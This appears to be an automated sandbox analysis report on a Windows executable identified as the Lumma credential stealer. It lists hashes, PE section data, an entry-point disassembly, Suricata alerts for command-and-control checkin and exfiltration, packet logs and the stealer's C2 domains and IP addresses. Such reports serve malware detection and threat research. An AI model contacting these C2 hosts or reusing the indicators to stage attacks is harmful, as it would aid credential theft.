	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	CheatInjector.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	104.21.9.210
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	104.21.9.210
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	104.21.9.210
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	172.67.161.82
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	172.67.161.82
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.97.3
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.96.3
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.96.3
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.97.3
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	TZH3Uk8x45.bat	Get hash	malicious	DBatLoader, PureLog Stealer, XWorm	Browse	104.21.95.91
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.519802378502478
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'992'640 bytes
MD5:	34303ae95155e9f0086d41a36d81cada
SHA1:	77353b7f8ff4e2fd8496d868a80b275e010a3165
SHA256:	381ecf04c61ee4081f7663931d1cb6502cb54927f412ad4792b08ed5a43ca682
SHA512:	6beaf50d0859d7330e127b83d5b5991b2a957a3dd1f6072a664185ef8fd89fb963b56c8b5f2355d7bd966d71ac95a33642788650259cafee602f467c79e83df5
SSDEEP:	49152:MvkAcmoVCHxA8uYBLlOyfKEoTeOBQ6D8bgjbh3DzhRG:Mv3chVIA8uYBLlRfKEoKaGEjd3DzK
TLSH:	E4D54B92B60AF2CFD09E3B78D62BDD826D6D03B9471104C7996DA47ABE63CC121B5C34
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......~....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F39B51FF3BAh
js 00007F39B51FF3E3h
add byte ptr [eax], al
jmp 00007F39B52013B5h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], bl
add eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx-80h], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	bf1cb9fdaf46b1ca689b1cc8f706f92f	False	0.9980958561912225	data	7.9816439961533785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ahmbizus	0x5b000	0x2b0000	0x2af400	8f7f15f2d60acf0821f91f05ab9d81b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
agbvvjmq	0x30b000	0x1000	0x400	f01ba7fdeb1f4a047505e8cbfdc13ed4	False	0.73046875	data	5.851885537790955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	420d73e7b9b16cb0d4b0b655cf0b196e	False	0.052504595588235295	DOS executable (COM)	0.5399075283185963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T23:15:07.362893+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.95.91	443	TCP
2024-10-26T23:15:07.362893+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.95.91	443	TCP
2024-10-26T23:15:08.624268+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.95.91	443	TCP
2024-10-26T23:15:08.624268+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.95.91	443	TCP
2024-10-26T23:15:10.052870+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-26T23:15:15.500982+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49710	104.21.95.91	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 23:15:06.210035086 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.210069895 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:06.210207939 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.211846113 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.211858034 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:06.826608896 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:06.826808929 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.831027031 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.831032991 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:06.831252098 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:06.871895075 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.882560015 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.882560968 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:06.882707119 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:07.362870932 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:07.362922907 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:07.362988949 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:07.364450932 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:07.364463091 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:07.364501953 CEST	49704	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:07.364507914 CEST	443	49704	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:07.482644081 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:07.482770920 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:07.482847929 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:07.492902994 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:07.492949963 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.104028940 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.104373932 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.105438948 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.105470896 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.105727911 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.106904030 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.106945992 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.106992006 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624207020 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624247074 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624329090 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.624365091 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624496937 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624524117 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624543905 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.624552965 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.624594927 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.625250101 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.625291109 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.625332117 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.625341892 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.625894070 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.625938892 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.625947952 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.668984890 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.741524935 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.741710901 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.742002010 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.742024899 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.742094040 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.742131948 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.742131948 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.742131948 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.742280006 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.742326975 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.742358923 CEST	49705	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.742374897 CEST	443	49705	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.865637064 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.865665913 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:08.865756989 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.866028070 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:08.866035938 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:09.484035015 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:09.484303951 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:09.485586882 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:09.485593081 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:09.485810995 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:09.487180948 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:09.487339020 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:09.487359047 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.052818060 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.052876949 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.052936077 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.053075075 CEST	49706	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.053086996 CEST	443	49706	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.143038988 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.143143892 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.143227100 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.143539906 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.143584967 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.763525009 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.763873100 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.765064955 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.765094042 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.765347004 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.766973972 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.767128944 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.767175913 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:10.767251015 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:10.767265081 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:11.321985960 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:11.322057009 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:11.322120905 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:11.322252989 CEST	49707	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:11.322293997 CEST	443	49707	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:11.507761002 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:11.507790089 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:11.507889032 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:11.508219957 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:11.508232117 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.112391949 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.112495899 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.114231110 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.114237070 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.114480972 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.115735054 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.115952015 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.115981102 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.116050005 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.116059065 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.782171965 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.782244921 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:12.782358885 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.782624960 CEST	49708	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:12.782639027 CEST	443	49708	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:13.115691900 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.115746975 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:13.115822077 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.116338968 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.116358042 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:13.746254921 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:13.746562004 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.748203993 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.748234987 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:13.748595953 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:13.749989033 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.750112057 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:13.750124931 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:14.270095110 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:14.270196915 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:14.270284891 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:14.270425081 CEST	49709	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:14.270468950 CEST	443	49709	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:14.777878046 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:14.777921915 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:14.778090954 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:14.778346062 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:14.778359890 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.495348930 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.495418072 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.497267008 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.497272015 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.497622013 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.499444008 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.500382900 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.500416040 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.500514030 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.500547886 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.500652075 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.500694990 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.500806093 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.500823975 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.500952005 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.500977039 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.501118898 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.501146078 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.512366056 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.512538910 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.512578964 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.512589931 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.512729883 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.512768984 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.512789965 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.517203093 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.517339945 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.517360926 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:15.517379999 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.517400026 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.517416000 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:15.517802000 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:37.526000977 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:37.526088953 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:37.526237965 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:37.527695894 CEST	49710	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:37.527714968 CEST	443	49710	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:37.672363997 CEST	49804	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:37.672437906 CEST	443	49804	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:37.672523975 CEST	49804	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:37.673249960 CEST	49804	443	192.168.2.5	104.21.95.91
Oct 26, 2024 23:15:37.673273087 CEST	443	49804	104.21.95.91	192.168.2.5
Oct 26, 2024 23:15:38.153379917 CEST	49804	443	192.168.2.5	104.21.95.91

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 23:15:06.173290014 CEST	51756	53	192.168.2.5	1.1.1.1
Oct 26, 2024 23:15:06.183114052 CEST	53	51756	1.1.1.1	192.168.2.5
Oct 26, 2024 23:15:06.191567898 CEST	59136	53	192.168.2.5	1.1.1.1
Oct 26, 2024 23:15:06.204452991 CEST	53	59136	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 23:15:06.173290014 CEST	192.168.2.5	1.1.1.1	0x496b	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:15:06.191567898 CEST	192.168.2.5	1.1.1.1	0x2099	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 23:15:06.183114052 CEST	1.1.1.1	192.168.2.5	0x496b	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
